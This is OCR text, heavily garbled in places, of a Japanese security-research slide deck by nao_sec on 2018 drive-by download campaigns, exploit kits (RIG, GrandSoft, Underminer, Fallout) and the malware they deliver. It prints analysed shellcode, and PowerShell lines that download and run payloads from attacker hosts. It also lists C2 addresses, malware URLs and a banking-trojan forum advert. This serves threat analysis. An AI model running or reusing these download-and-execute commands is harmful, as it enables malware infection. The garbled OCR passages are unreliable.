AL (] [

- o =
fz]] HItLAENS
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B 28

e /iR RHR
c X2 TF 4TI ZT (1F4%)
e Nao_secTVILY = VRRITLIANZIBY
s EFIEU T T4 v - RO U T FOEN

» REYFK
« 7L vy h—, 2L zTTFYRXEL (1FE4E)
e nao_secTIEVIL Tz 7 IO — FEEf~BY
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Drive-by Download¥{ 2 ver 2017

- WBX v R—V
o pseudo-Darkleech & EITestDEENE 1E
« Seamless. Fobos. Rulan. Ngay® HI8 & 5EF1L
« MalvertisingRDIKEF v > R— > DER

« Exploit Kit
« Nebula & Disdaind HI8 & JE R
- RIGDE%R
« ShadowfalllZ £ 5 Domain Shadowing®{= 1t
« IP7 FLX%ZFHWIZURLABEAT

(&% : https://www.jpcert.or.jp/present/2018/JSAC2018 04 koike-nakajima.pdf)
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https://www.jpcert.or.jp/present/2018/JSAC2018_04_koike-nakajima.pdf

Drive-by Download %% ver 2018

c WX vy R—Y
« Seamless(PseudoGate) & HookAds D&%
« CoinsLTD*>SIlyIP, Slots?® &5 & JHim
« BlackTDS® %1%

« Exploit Kit
« Underminer & Falloutd &5 & 885
« RIGOER
« GrandSoftm{EE
- - RESEEDER

Copyright©2018 nao_sec All Rights Reserved.



- hegstE

« CVE-2018-4878
« Adobe Flash Player®RCE
« Magnitude. RIG. FalloutZ: & TEH
. CVE-2018-8174

« VBScript Engine®RCE
« RIG. Magnitude. GrandSoft, Fallout. KaiXinZ: & CEH

« CVE-2018-8373
« VBScript Engine®RCE
« KaiXin*>Fallout#: & ¢EH
« CVE-2018-15982

« Adobe Flash Player®RCE
e Fallout®>Underminer7: & CEHH
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Seamless / PseudoGate

« 3FED HSeamlessDIFENHELE

« Y ICTHAED HPseudoGate ¥ &5 LiEF1L
c MAEHHEK: hFEK - 7 XU AHDER
« Banking Trojan. #FIZRamnit% 4855 (C{F
« Seamless & PseudoGateld[@—Actord RIEEM: ?
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Seamless / PseudoGate

« Seamless

« Malvertising
« Pre-Gate & Gatez FHLZTRIGAZEE
s A—HYOHIBIYIFRZ BV TUE % 5l
s BWIZEAK - AFKX - TAUA
« F|(ZRamnitZz{EHE

# Server IP Prot... Method Result Host URL Body Comments

194.58.38.57 194.58.38.57 [japan/
‘66 104.19.195.102 cdnjs.cloudflar... [ajax/libs/jstimezonedetect... 12,076 jstimezonedetect
194.58.38.57 194.58.38.57 [japan/ Pre-Gate

194.58.38.57 194.58.38.57 [japan/ Pre-Gate
4¥69 13.113.77.212 HTTP  GET 200 flinsheer-perre... /voluum/1b0358c4-3746-... 258 Redirector
£%70 13.112.178.145 kcsmij.redirect...  [redirect?target=BASEG4a... Redirector
71l 194.58.40.193 HTTP GET 200 194.55.40.193 [test111.php
B72 188.225.46.145 188.225.46.145 [?MjQ4MzM5&hDhbbIVDzZ...
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Seamless / PseudoGate

* PseudoGate
« Malvertising

« FHRDOWebY A FZ2WREALTERTLZIEDDHS

o TRENX2 BT AV 2
« GrandSoft*°RIG% (£

« Panda Banker*>Osiris(Kronos). RamnitZ: &% {F
ce AR - HhFRXDIL Py hAH—F - RITHREDIFHRZHE

# Result Protocol Host URL
€¥1 200 HTTP sp.popcash.net /go/199881/426514
&2 303 HTTP sp.popcash.net /sgo/ad?p=199881&w=4...

€33 200 HTTP balmyfurniture.com /

slang.molmcclshavemwi.xyz /generalized_vestige_def...

slang.molmcclshavemwi.xyz /getversoinpd/1/2/3/4
slang.molmcclshavemwi.xyz [9/104468

Body Comments
427 Advertisement
52 Advertisement
51,857 Compromised Site
GrandSoft Exploit Kit (Landing Page)
GrandSoft Exploit Kit (CVE-2018-8174)
180,736 GrandSoft Exploit Kit (Malware Payload)
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HookAds

« Malvertising

« DecoyV 1 b &GateZ{E> TIEZTS
« Kraken Cryptorx>Globelmposter, GandCrabZs& d 7 >4 L
T T xEI T ENAE WL

# Result Protocol Host URL
200 HTTP fiestaonlline.info /?activer-mix&source=110898.108...

www.hfbh.pro /unlimited/aboutus

Body Comments
40,256 HookAds (Decoy Site)
5,408 HookAds (Gate)
59,114 Fallout Exploit Kit (Landing Page)
Fallout Exploit Kit (Malware Payload)

miniyou.press /n4Mv2AH/xI3i1L.dhtml
El 4 200 HTTP miniyou.press /lengthily_proctalgy_charlady_ove... 210,432
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HookAds

e DecoytV 1 F
. 88.208.7.192 & 88.208.7.193

e Gate
« 185.56.233.186
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Exploit Kit
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RIG Exploit Kit

- BIE
« 2014FtEH L&A S LT ULy B Exploit Kit
« 2016 F9A IR HIER
« EFBICHLDHEBX v U R—VTHEHEINATWS
- FalloutO&IF T = 7T KIGIZRED
« TNTHEZLDHEF v U R—VHEH
o EARRIAMEEE - BKIIEEL OELET
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RIG Exploit Kit

c FTFT 4V 7

# Result Protocol Host URL Body Comments

> 176.57.220.173 /?MTM30TU5&nhAGAWQ&Wkfo... 135,812 (03) RIG EK (URI) (Landing Page)
B2 200 HTTP 176.57.220.173 [?MTIWMTQ1&hewRIArQoAgwU... 34,304 (04) RIG EK (URI) (Flash Exploit)

HTTP 176.57.220.173 [?NTYzNzQy&mNfhuCz&IcRinVA... 34,304 (05) RIG EK (URI) (Payload)

e 3DDFT T4 v TICE->TENITHND
1. Landing Page
« CVE-2013-2551
CVE-2015-2419
CVE-2016-0189
CVE-2018-8174
SWF ExploitZ% 5t H#AE 7= & D html
2. SWF Exploit (fttDEEMEA BRI NIHEITRE LA L)
« CVE-2018-4878

3. Malware Payload
« RCAICE »THESfLINT=LT =T
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RIG Exploit Kit

« Landing Page

Result Protocol Host Body Comments
176.57.220.173 /?MTM30TU5&nhAGAWQR\Wkfo... 135,812 (03) RIG EK (URI) (Landing Page)
176.57.220.173 [?MTIwMTQ1&hewRIArQoAqwU... 34,304 (04) RIG EK (URI) (Flash Exploit)
HTTP 176.57.220.173 [?NTYzNzQy&mNfhuCz&IcRinVA... 34,304 (05) RIG EK (URI) (Payload)

« HHfbidan &k Y HREIC
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RIG Exploit Kit

« Malware Payload

# Result Protocol Host URL Body Comments
1 200 5.57.220. f?MTMJDTU'i&nhAdeQ&Vvkﬁ:-... 1JH,B12 (IL] RIG EK (URI) (Landing Paq::-]

HTTP 176.57.220.173 [ 7NTYZNZQ‘5-’&mehUCZ&|t RinVA... 34,304 (05) RIG EK (URI) (Pa‘ylﬂad)

RC4 Encode
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RIG Exploit Kit

- Landing PageURLZ 4.3 B3APIO LT FRA >~ bE
BlackHat Asia 2018 CH&zxINTHY.,. ELEL

(BIFJT : https://www.blackhat.com/docs/asia-18/asia-18-papa-Future-Proof%20Counter%20Attacks%20Against%20Exploit%20Kit%20Infrastructure-WP.pdf)
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RIG Exploit Kit
HASNEIPT FLZROSH

A3 77:2325, 84 V:106, V07 7458, A7 XX 26
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GrandSoft Exploit Kit

» 2018F2AEHN o BEERIL
: 20125 @D HEH SN T LD

» PseudoGate CHERICFIHINTWLWS
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GrandSoft Exploit Kit

2t 1 200 envisioned.zaleisa.site [greet-undocumented.html 530 GrandSoft Exploit Kit (Checker)
200 HTTP envisioned.zaleisa.site /getversoinpd/1/2/3/4 21,185 GrandSoft Exploit Kit (Landing Page)
200 HTTP envisioned.zaleisa.site /9/103609 118,272 GrandSoft Exploit Kit (Malware Payload)

Copyright©2018 nao_sec All Rights Reserved.



GrandSoft Exploit Kit

# Result Protocol Host URL Body Comments

envisioned.zaleisa.site /greet-undocumented.html 530 GrandSoft Exploit Kit (Checker)
envisioned.zaleisa.site /getversoinpd 21,185 GrandSoft Exploit Kit (Landing Page
envisioned.zaleisa.site /9/103609 118,272 GrandSoft Exploit Kit (Malware Payload)

Copyright©2018 nao_sec All Rights Reserved.



Underminer Exploit Kit

- 2018FETHEEDL v EAI T NAE & 7-
e BARZHONE LI-ETS 7B TER
- W% INHARIES CBRY Z & TRz HhE
c NT T UV I T—RERLIFITTIIBITT A2 & IZRE
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Underminer Exploit Kit
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Underminer Exploit Kit

« formZzE-TYVXRAL 7 b

c KEBRICV ATV IRET —X%%Z8T
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Underminer Exploit Kit
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Underminer Exploit Kit
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Underminer Exploit Kit

OrAEREzL 70—k ‘-nns

Random N \
Str‘ingj @Y%EJEE\Z

ORBEIR TS L T%E

J -

YRS String
OXFI TS LT — X% %(E

Underminer

o Random
AT == .
RandomJ ORERTES String

®©T —X%ES L TEIT
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Underminer Exploit Kit
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Underminer Exploit Kit

Copyright©2018 nao_sec All Rights Reserved.



Fallout Exploit Kit

« 2018FESREN HEAI T NIBH 7-
« IEBITIER
c ZLDWEXF v R—VTHHINTWS
« RIGDOFE7H
« HTML%* 5 Exploitationlc hE4 O — F 2 4R
« Nuclear Exploit Kit(ZZ&1{L
o URLICKHEA LY
o 7 4 ILZOERIAHHEE
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Fallout Exploit Kit

# Result Protocol Host URL Body Comments
E1 200 HTTP minivou.press /marcello/599/GmdaF/Yx2S9P?vakitori... 56,288 Fallout Exploit Kit (Landina Page)

E2 200 HTTP miniyou.press [Bepiece_degusting_upstage/23-09-19... 174,592 Fallout Exploit Kit (Malware Payload)
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Fallout Exploit Kit

* Custom Baseb64
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Fallout Exploit Kit

- RC4
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Fallout Exploit Kit

- CVE-2018-8174
o EARIICIZPoCL[FEL
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Fallout Exploit Kit

« CVE-2018-15982
 ShellcodeZBUAIFPoCE 2L FL

# Result Protocol Host URL Body Comments

200 HTTPS payformyattention.site /UKfS/Kss/BI'Y?CFamx=ungaite&callovian=C... 64,376 Fallout Exploit Kit (Landing Page)
2 200 HTTPS payformyattention.site /zBl/11_04_1974.cfml 26,077 Fallout Exploit Kit (CVE-2018-15982)
3 200 HTTPS payformyattention.site /critics-ecotopic/21-04-1992/chibouk?IRIDI=... 219,648 Fallout Exploit Kit (Malware Payload)
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Fallout Exploit Kit
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Exploitation(shellcode)




CVE-2018-8174 (RIG)

« RIG Exploit Kit
e INA FDxorc¥rz)ad—FKg¥4A2Tya—FK
e CreateProcessATCAXR o vA—KL7=-vIYI 7 %2ET

eax, [edi]

eax, ebx

dword ptr [eax], 'aerC’
short loc_72

dword ptr [eax+8Bh], 'Ass’

short loc_72
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CVE-2018-8174 (GrandSoft)

- 6 B TTREIMUEIDO 7 A—

7 X LBEDOER

T VR LMEEFE - T-HERK

. #BAURLOFKEIZEM
ZEfbEaNE<ILTTORTyA— K
Ta—F

ok L=

in shellcode
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CVE-2018-8174 (GrandSoft)

- 6 ATELEDND 7 A—
1. 2V X LMEDER
2. #ZURLOKEIZEMN
3. BESftanhiz~iLoz7DXy>a—Fk

4. 73— F

. _ * in shellcode
Seghla: BeRaaane call sub_ 29 ; edi == eeeBR2FA
seghfn : 6AAPEEDE push  48h ; '@ 3 flProtect(PAGE_EXECUTE_READWRITE)
seglla : BaeeRann push 1aaah ; DWORD flAllocationType (MEM _COMMIT)
Seghhe : GBBOGBEE 2 push offset unk 7D8@8 ; SIZE T dwSize
seghha : GBBOBEE 7 push @ ;3 LPVOID lpAddress
seg@aa: AeEaaaES call dword ptr [edi-3Ch] ; VirtualAlloc
Seghes: eeRaeREC mow [edi], eax 3 base address of the allocated regicn of pages
segles: BRRaeREE mow esi, eax
SeglRa : BReERaFa call dword ptr [edi-34h] ; etTickcount
Seghla: BRRRREF3 mowv [esi], eax 3 number of milliseconds
seg@ad: BaeaalAE loc_1AE: ; CODE XREF: segBbd:essselBalj
Seglee : BRBaE1AE inc Eax
seglie : BRBaa1AF add ebx, Banh
seglee : BRBaE1ES xor bl, a4sh
seghae: eepaales xor [eax], bl
seghad: eeaaalBa loop loc_1AE
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CVE-2018-8174 (Fallout)

e xa—FDE¥%E1/NA Fxorcz>a—F

pusha
jmp short loc 1E

SUBROGDUTIMNE

eCx
byte ptr [eaxtecx], 43h
BCX, BCK

short loc_13

1]

g
egl
gi
o

11
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CVE-2018-8174 (Fallout)

e N—FOa—FEh7-ETxor

00000C00 58 23 CO OR C3 C3 FF FF FF FF 31 3B 41 50 79 &6 |XFA.RAyyyy1l;APYE
00000C10 68 43 78 4L 3B 62 74 74 70 3L 2F 2F 6E 61 6F 73 |hCxJ;http://naocs
00000C20 €5 63 67 6F 6D 6F 73 65 63 2E 67 71 2F 45 6C 69 ecgomosec.gg/ELli
00000C30 73 69 6F 6E 73 2D 52 69 62 6F TA 61 2D 52 €9 &7 sions-Riboza-Rig
00000C40 77 69 64 64 79 2D 48 65 61 70 73 74 €5 61 64 2F widdy-Heapstead/
00000C50 38 32 37 35 74 76 39 2F 50 4D 4A 71 56 2F 42 €5 8275tve/PMJIgV/Be
00000C60 €7 69 72 64 6C 65 2E 63 66 60 6C 3F 32 54 56 35 girdle.cfml?2TV5S
00000CT0 70 47 3D 62 4F 71 65 57 4D 6E 6F 26 4F 49 66 64 pG=hOgeWMnosOIfd
00000C80 36 34 78 3D 53 62 €1 6C 6C 6F 70 73 5F 53 75 €D 6€4x=Shallops_Sum
00000CS0 6D 61 T4 €9 76 65 5F 31 30 35 30 S5F 50 €1 72 7€ mative 1050 Parv
00000CAD €5 €E 75 00 00 00 43 43 43 43 7C 32 7E 74 73 76 enu...CCCC|2~tsv
00000CBO 76 77 7B 65 35 TE 70 43 vwi{e5~pC
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CVE-2018-8174 (Fallout)

« 1/17ICEH !

« ¥ x)la— FTPowerShellzZ5Fa—FL<T
CreateProessACE{T
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https://files.slack.com/files-pri/T83V5TRGB-FFG294BHB/_______________.png
https://files.slack.com/files-pri/T83V5TRGB-FFG294BHB/_______________.png

CVE-2018-8174 (Fallout)

 Anti Malware Scan Interface% Bypass

« I THEXYA—F

$1I11111I="https://payformyattention.site/elLV/6912/FBF/fusain?divinely=
p47U3=19_©3_1945&sculsh=FRB’;

(New-Object Net.WebClient).DownloadFile($1II11111,%$I1111);
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CVE-2018-8174 (Fallout)

- CreateProcesszC#TCERL. VIV 7 Z2FEIT

1T111

[D1lImport(""kernel32.d11"",SetLastError= )]
CreateProcess( 11111111, 1111I,IntPtr
111111, IntPtr 1111111, 11111111, 11111I,IntPtr I1111, IIT1I11,
1111111 Iliriill, 11111IT1 I111I1111),

[ ]::CreateProcess($I1111,%$I1111,[ ]::Zero, [ 1::Zero,
@xeeeeeees, [ 1::Zero,"c:", [ 1$11111, [ ]$11I1111I) |out-null;
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CVE-2018-15982 (Fallout)

vz )a—FIXIZIX8174E R L
« Anti Malware Scan Interface®Bypass

c YNz TERKXYVA— KL, IEXTET

$1111III="https://payformyattention.site/critics-ecotopic/21-84-1992/chibouk?IRIDI=4872";
IEX (New-Object Net.WebClient).DownloadString($1111III);
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CVE-2018-4878 (Underminer)

« APllZadd1505ShI5Hash32 /Ny & :L1|$€§ NTun3
« wininet APICWAVZ 7/ %X vA—F

; kernel32.dll!LcadlLibraryA
: kernel32.dll!GetProcAddress
; kernel32.dll!'Virtualalloc
; kernel32.dll!VirtualFree
; wininet.dll!InternetOpenA
» wininet.dll!Internet0
; wininet.dl1l!HttpQ
» wininet.dll!Inter
: wininet.dll!InternetCloseHandle
; "http://184.170.216.48:80888/views/n6dhce™. ..
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CVE-2018-4878 (Underminer

c WAVZ7 7 A IV%E/NR—R LT, T—2Z2ES

Offset(h) 00 01 02 03 04 05 08 OT7 0OF 05 QA OB OC OD OE OF

00000000 |52 459 46 4946 54 A% 00 00 57 41 56 45 66 6D T4 200 3RS PRt Sl

0Q00g010 10 00 00 00 01 00 01 00 80 3E 00 OO0 00 7D 00 QC )
00000020 P2 00 10 00 64 61 T4 EJ 30 A9 00 00 E7 78 71 F1 PEEELEIEIOE. . cxgi
0Qo00g030 48 EF 58 2F 20 DF 4AF 42 04 14 7 7 B8 5C Cl 84 HiY/ B J..|§ \A.
00000040 7 08 21 7B AC FC 58 1% 4C 7D EC 83 AF F7 EB 53 W.!{-uiX.L}if =&S

1|:|C_
byte ptr [ebx+1], 4%h ;

mon
add

cmp

r
|
I
r
I
I
r
I
|
r
I
|
r
|
I
I
|
I
r
I
I
r
I
|
r
I
|
r
|
I
r
|
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PoCFD b&Al X T

« EKTCHIBBESNABCVEDFREHPoCZMAL TWLW3

» I

o EH
* Rig
« 2018-05-25
« GrandSoft
« 2018-06-14
« Fallout
« 2018-08-30

/ — Z:https://malware.dontneedcoffee.com/2018/05/CVE-2018-8174.html
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RIG Exploit Kit

Banking Trojan, Ransomware, Miner. Info Stealer,
RAT

GandCrab
Ursnif
ZeusPanda

SmokelLoader
Seamless/PseudoGate —<: DarkVNC
Ramnit
Kronos

Miner
Clipboard Hijacker

AZORult
Retefe

GandCrab

Unknown Ursnif /—» BabylonRAT
AZORult

HookAds
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GrandSoft Exploit Kit

« Banking Trojan., Miner, Ransomware

Miner
BlackTDS <
GandCrab
GandCrab
Slyip <:
Ursnif

SmokeLoader —— ZeusPanda

PseudoGate
AZORult

Ramnit
\ AZORult
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Underminer Exploit Kit

 Trend Micro. Malwarebytes 7 A7/ IC&k % &
VRATLDT— b X EHET Bbootkit & Miner%z Bd?h

https://blog.malwarebytes.com/threat-analysis/2018/07/hidden-bee-miner-delivered-via-improved-drive-by-download-toolkit/
https://blog.trendmicro.com/trendlabs-security-intelligence/new-underminer-exploit-kit-delivers-bootkit-and-cryptocurrency-mining-malware-with-encrypted-tcp-tunnel/
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Fallout Exploit Kit

« Banking Trojan. Ransomware. Miner. Info Stealer,
RAT

SmokeLoader
GandCrab

SAVEfiles Ransomware
AZORult

Ursnif

Dridex

Paradise Ransomware
Vidar

Vidar ~__——" Globelmposter

Kraken Cryptor Mi
iner
HookAds SmokeLoader "

Unknown

AZORult —— Globelmposter+
KPOT CoalaBot

NetWireRAT
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AZORult

Info Stealer & Downloader

%ié%?{/ij)?/h S, 77 VYER. cookie,

-vwﬁljwﬁﬁ/D—P
Malspam. Exploit KitGE2fh
20184 Ev3.2(7/17) £v3.3(10/4)Ic/X—a v Ty 7
Underground forum(exploit.in) CE{EzEhTW 3

5|7t : The Emergence of the New Azorult 3.3 - Check Point Research
https://research.checkpoint.com/the-emergence-of-the-new-azorult-3-3/
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AZORult

o {AIE H Builder& Panelp’Y —2 L TW3
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AZORult

¢« F v R—VEICGIT SERHEL

« HookAds & PseudoGate Tl
INET HHRRHVEL S

- REBBETV ALY b
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AZORult®dconfig

« Builder - ConfiglZ#ih <
4Ly F%IBETHEEB
@A A

e N—I g VICEBERTIT
HmWheEEZ NS

Copyright©2018 nao_sec All Rights Reserved.



AZORultadC2

nagoyashi.chimkent[.]su|193.124.180.99
« RU., MAROSNET

infolocalip[.Jcom|23.254.161.197
« US. Hostwinds

po00000o[.]at|46.229.214.132

« RU. timeweb

fyreplittgothin.pw| 94.103.80.138
« RU, VDSina

IPT77t2RXRT52¢dH

« http[:1//128.199.37.74/index.php
« SG. DigitalOcean

« http[:1//46.229.214.132/index.php

« RU. timeweb
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Ramnit

« Banking Trojan
» Seamless¥ v Y R— V' CREBEHON T UL

-u?m%vl—w%ﬁ
Antivirus Trusted Module v2.0 (AVG. Avast., Nod32.
Norton. Bitdefender)

TYFIAIRY 7 bOFINY X M IZED
« Cookie Grabber v0.5 (IE&CH Export)
7790 syF—DINE
« |[E & Chrome & FF injector
e TJT7IYAAvT I aYv
« VNC (23 port) x64-x86
« FF&Chrome reinstall x64-x86 [silent]
779 0BA VXM=
 Pony based pwd stealer
/N ] — FEREY
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Ramnit®d C2

« revivalresumed[.]Jcom|109.248.59.111
« RU. Argotel

. goldenfreeanhfirst[.Jcom|80.87.197.238
« RU. 1stVDS

« simsim.adygeyal.lsu|213.183.51.62
« NL. Melbicom UAB(B <~ 7 ®DVPSHY —E X)

« newwfreedomaincom[.]Jcom|95.46.8.133
« UA, time-host
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Kronos/QOsiris

« 2014285 L7

« 20184 |ZKronos% 7 v 77— b L 7=OsirisHh* & 15
« RigEKA*»Drop L 7=Smoke LoaderA’&X 7> o— K

Osiris Banking Trojan, Banking Trojan

Mognuera na Temy | Coofwnme apyry | Bepens anr newara

anubi ) [ 3.04.2018, 22:30

GAME What is Osiris?

OVER It is a C++ Banking Trojan over Tor.

Why should i get Osiris?

noBai - . s .
KEVEW = 0Osiris cannot be tracked or shutdown because uses Tor connections and fully supports Win Vista/7/8/8.1/10 Natively.

Ipynna: NonszosaTens

CooBuenuii 45 What are the Features?

Perwcrpaums: 20.07.2017 -Tor Connection

MY TETEEOE [0 Gl R -Ring 3 Rootkit 32 and 64bit

JAeATENeHOCTR: ApYroe

Penyrauus: 0 -Formgrabber POST and GET requests (it will grab everything) fully supported on Chrome 85 and FireFox 59 latest versions and below.
- (0% ) 4

-WeblInjections Zeus style webinjects with automatic Update of injections,supported on Internet Explorer,FireFox 59 and below.
//Please Read comment for Chrome:
(Chrome will be updated works only on old version for now ,due to Chrome change completely its structure since version 64 it only works the Formagrabber atm)

-Kevlonner
51 F7T © https://research.checkpoint.com/osiris-enhanced-banking-trojan
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Osiris
BIETP 7 714 IVEDOFFHEAD ©O0siris& Bbhin b
« hxxp://fritsy83[.]website/Osiris.exe

« hxxp://0000mika84[.]website/Osiris_jmjp_auto2_noinj.exe
e Osiris_jmjp_auto?2

uKronos J
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Kronos & Osiris D JE{LL 5

e N—FOd—FEIN=XFF

- yara/L— L TORE=/31 U OFEAHRE L
« XFF - C20xTva—F7LTY XL
Kronos+Tor=0siris?

VL
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GandCrab

« 2018F1ATHRICEZLI-F VLYY

s IRAWETFERAINTWS
 Malspam. Fake Flash. Exploit Kit
o BRFHIIGE I

«c X—TTAVI. PYv7TT—FHEFK

e IRFERFICY Y —Fvy—D7ATF
VA —b+%5|F
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GandCrabd/8—< 3

R FOEAL
Fake Adobe Flash Player KRAB—Z > & L5XF
RERTH IR \—

15.0

—

JanY\Efb Mar Apr May Jul Sep Dec
S +H '/—u
[ Seamlessi® A THIER ] v b7 =0 HBERT ]

[ EFOLE FIEOEST LY X LDOEL
GDCB—»KRAB AES—Salsa20

[ vlddecryptor) U —X

J
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ReflectiveDLLInjection

« V1.1, V2x, V3xXTER
¢+ TARYTRBELAEY LD ODLLEFRARALT 7=y 7

Dump Files

File Name Detect Rule

2610000dll Reflectivel cader
Gandcrab

400000.b549f8fb83f47a7251041aftbd09fb11f237a6fd5367ad9ffbfa7ba085371d3de.exe  145.4KB Reflectivel oader
Gandoab
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A n By S AVE B/ %

- V2.1

« exploerer.exe

- V3

e svchost.exe

« ReflectiveDLLInjection% & 5

Dump Files

File Name Detect Rule

e20000.dll

fe0000.dll

400000.6fafe7bb56fd2696f2243fc305fe0c38f550dffcfc5fca04f70398880570ffffexe  153.6KB
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B AEXDEXHEZ

» V1, VALIRZ
« XEY EOB7 A XDEFHO—EEEZTR S

Dump Files

File Name Detect Rule

400000.summerjam.exe
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FENTERIE DR A

 GetVolumelnformation APID{EZ L& L T
any.runZBRH L TAvE—IRy 7 XA %2KRK
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FENTERIE DR A

mov [ebp+var_4], eax
NS ~ > mov dword ptr [ebp+Text], 545FEFAh
° x\\/t—\/‘ixor Z\\ I /:—I\ L z XoE eax, eax
mov [ebp+var_E80], 564056Bh
mov [ebp+var_7C], S55A056Ah
1%::% L T L\f— mov [ebp+var_78], 5600576h
I\ - mov [ebp+var_74], 5240566h
mov [ebp+var_70], 5240524h
mov [ebp+var_6C], 11A0525h
mov [ebp+var_6E8], 11D0125h
mov [ebp+var_64], 1100117h
mov [ebp+var_60], 5230127h
mov [ebp+var_5C], 1250114h
mov [ebp+var_5E8], 1270115h
mov [ebp+var_54], 1180115h
mov [ebp+var_50], 5250525h
mov [ebp+var_4C], 525011Dh
mov [ebp+var_4E8], 111011Dh
mov [ebp+var_44], 525011Dh
mov [ebp+var_40], 115011&h
mov [ebp+var_3C], 1260120h
mov [ebp+var_38], 525011Ch
mov [ebp+var_34], 1120115h
mov [ebp+var_30], 1120115h
mov [ebp+var_2C], 1120115h
mov [ebp+var_ 28], 1120115h
mov [ebp+var_24], 1120115h
mov [ebp+var_20], 1120115h
mov [ebp+var_1C], 1120115h
mov [ebp+var_18], 1120115h
mov [ebp+var_14], 1120115h
mov [ebp+var_10], 1120115h
mov [ebp+var_C], 5050115h
mov [ekp+var_8], 503h

loc 4014F3:

HOor byte ptr [ebpteax+Text], 5
inec eax

cmp eax, TEh

ik short loc_4014F3




GandCrabdC2

e VAE TIE.bitE WS by FLRIVEX A4 (TLD) #%
AL TUL-
« Namecoinh1e# 3 255K ARTLD
- JHB DDNS% &

e nsl.cloud-namel.]ru
e nsl.wowservers[.]ru

« FAAVZTLLKFEATWS
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GandCrabdC2

» NamecoinffliZ3EB&(C [XNamecoinh* @4t 3" 2 DNS % fEFF
B9, FEARD I 5 —HY—ERdnspod.comZF]AL T
L3 D CHERSGR & A

a.dnspod.com isn’t actually a Namecoin DNS inproxy. If it were, and even if the trailing-period fail were corrected in the Namecoin
value, the inproxy would end up in a recursion loop. a.dnspod.com is actually just a random authoritative nameserver that happens
to be serving records for a domain name that ends in .bit. Namecoin isn’t used anywhere by GandCrab, and killing the

Namecoin domain wouldn’t have any effect on GandCrab. Of course, this raises questions about why exactly that domain name
is even registered in Namecoin. The simplest explanations are:

1. The GandCrab developers are massively incompetent, and have potentially deanonymized themselves by registering a
Namecoin domain despite not ever using that Namecoin domain for their ransomware.

2. Someone unrelated to GandCrab has registered that Namecoin domain for the purpose of trolling security researchers.

https://www.namecoin.org/2018/01/30/recent-reports-ransomware-using-namecoin-missing-real-story.html & ¥ 5|
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GandCrabdC2

Namecoinf?]iZ3EBR(C IZNamecoinh 426t 3 2 DNS %
#FIc. FARD I 5 —H—E Zdnspod.comZEFFEL T
L3 D CHERSGR & A

a.dnspod.com isn’t actually a Namecoin DNS inproxy. If it were, and even if the trailing-period fail were corrected in the Namecoin
value, the inproxy would end up in a recursion loop. a. dnspod com IS actuallyjust a random authoritative nameserver that happens

te hn canrinm racarde far 2 damain nama that ande in

nnnnnnnnnnnnn has Mandrvrah and Filllina tha

NGandCrabtatNamecom’a“:ﬁo’C?&\,\d)’é Namecoml~)‘4 xR LTH
“ﬁwﬁﬁ%&u 7

Namecom domam desplte not ever usmg that Namecom domam for thew ransomware.
2. Someone unrelated to GandCrab has registered that Namecoin domain for the purpose of trolling security researchers.

e i~

https://www.namecoin.org/2018/01/30/recent-reports-ransomware-using-namecoin-missing-real-story.html & ¥ 5|
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GandCrabdC2

Namecoin Block Explorer

Contact Go

Name d/bleepingcomputer (bleepingcomputer.bit)

Summary

Status
Expired since
Last update

Registered since

Operations
Date/time
2018-02-02 19:04:15
2018-01-27 18:49:42

2018-01-27 13:09:06

Last value

Expired

419180 (14333 blocks ago)
2018-02-02 19:04:15 (block 383180
2018-01-27 18:49:42 (block 382185)

Block Transaction Operation

383180 2bffad4781... OP_NAME_UPDATE
382185 2a850aa408... OP_NAME_FIRSTUPDATE
382153 4fd0c56d22... OP_NAME_NEW

g

[

"dnsl.soprodns.ru”,
"dns2.soprodns.ru”

Value
{"ns":["dnsl.soprodns.ru”dns2.soprodns.ru”l}
{"ns"["A.DNSPOD.COM"'B.DNSPOD.COM"]}

becf073d9c9906533923c2cbbbcéb043a035e6473
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GandCrabdC2

- v4.0
e [ R—2y MIEKRLTAWEEHRESILINS
- BIERL

« VA1LIRRIZBE D F X A & EFE
e Nn—FOd—FEINEUXMEFEH
« WNXZHZVELIZHAEDLES

HTTP code Method Rep
301: Moved Per... GET 352 04 -f P morcote—residenza com
301: Moved Per_.. GET 392 2019-01-04_05-_.. -/ fwwnw_seitensprungzimmer24_com
200: 0K GET 392 2019-01-04_05-... - Porenw download . windowsupdate_com /msdownload fupdate (w3 [ static/trustedr / en/ authrootstl.cab
200: 0K GET 392 2019-01-04_05-__. - Porenw_download windowsupdate_com/msdownload fupdate (v3 [ static/trustedr fen/ DF3C24F9BFD6. .
202: Found GET 392 2019-01-04_05—... - [www_arbezie—hotel com

404: Not Found GET 392 2019-01-04_05-_.. -/ Panww_arbezie com fuploads/pics /keammo_png
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v1.x

c THXFRA DA

Copyright©2018 nao_sec All Rights Reserved.



v2.X
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v3.X
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v4.x
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vbh.0

« ransom noteA B AE TG

Copyright©2018 nao_sec All Rights Reserved.



vb.0.3

 ransom noteB’E>T7H * * -
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*F—R—F&2A4 7OEE

- AV TEOREDSZEIEEEET

Portuguese_Standard 816
Romanian 418
Russian
Sanskrit B44f

- e
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« VALLBEIZIENN
e UIWEEBXRTEZMEEL T, ZHT5355EB=1LL W

Lo L L

text:004053C4 add el, ch

R

text :004053C6 mov dword ptr [ebp-4Ch], 41%h - A7 (0x419)
text :004053CD mov dword ptr [ebp-48h], 422h - 9925455 (0x422)
text: 00405304 mov dword ptr [ebp-44h], 423h « R IIL—IFE (0x423)
text:004053DB mowv dword ptr [ebp-40h], 42E8h . ';‘?9‘75 (0X428)
text:004053E2 mov dword ptr [ebp-3Ch], 4ZEh « PR =TE (0X4ZB)
text :004053E9 mowv dword ptr [ebp-38h], 42Ch 5 =7&

text : 004053F0 mov dword ptr [ebp-34h], 437h . -t')l«/va—V/ (0x42C / 0x82C)
text :004053F7 mov dword ptr [ebp-30h], 43Fh s ITNPTE (0x437)
text : 004053FE mov dword ptr [ebp-2Ch], 440h 13-3-7;(9/ (0x43F)
text: 00405405 mowv dword ptr [ebp-28h], 44Zh =\=)l/=\'—“ZE (0X440)
text:0040540C jiil=lig dword ptr [ebp-24h], 44Zh I‘)b7)(/ (0X442)
text: 00405413 mov dword ptr [ebp-20h], 444h

text:0040541A mov dword ptr [ebp-1Ch], 818h 2 —IEE (0x444)
text:00405421 mov dword ptr [ebp-18h], 81%h - L—==75 (0x818)
text: 00405428 mov dword ptr [ebp-14h], 82ZCh « EJLF/REE (0x819)
text:0040542F mov dword ptr [ebp-10h], &843h . '71\\’\1\'—29‘/%% (0X843)
text: 00405436 call ds:GetlUserDefaultUILanguage

text:0040543C MOVIX eax, ax

text:0040543F jiil=lig [ebp-8], eax

text: 00405442 call ds:GetSystemDefaultUILanguage

text: 00405448 MOVEX eAX. AX
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Kraken Cryptor

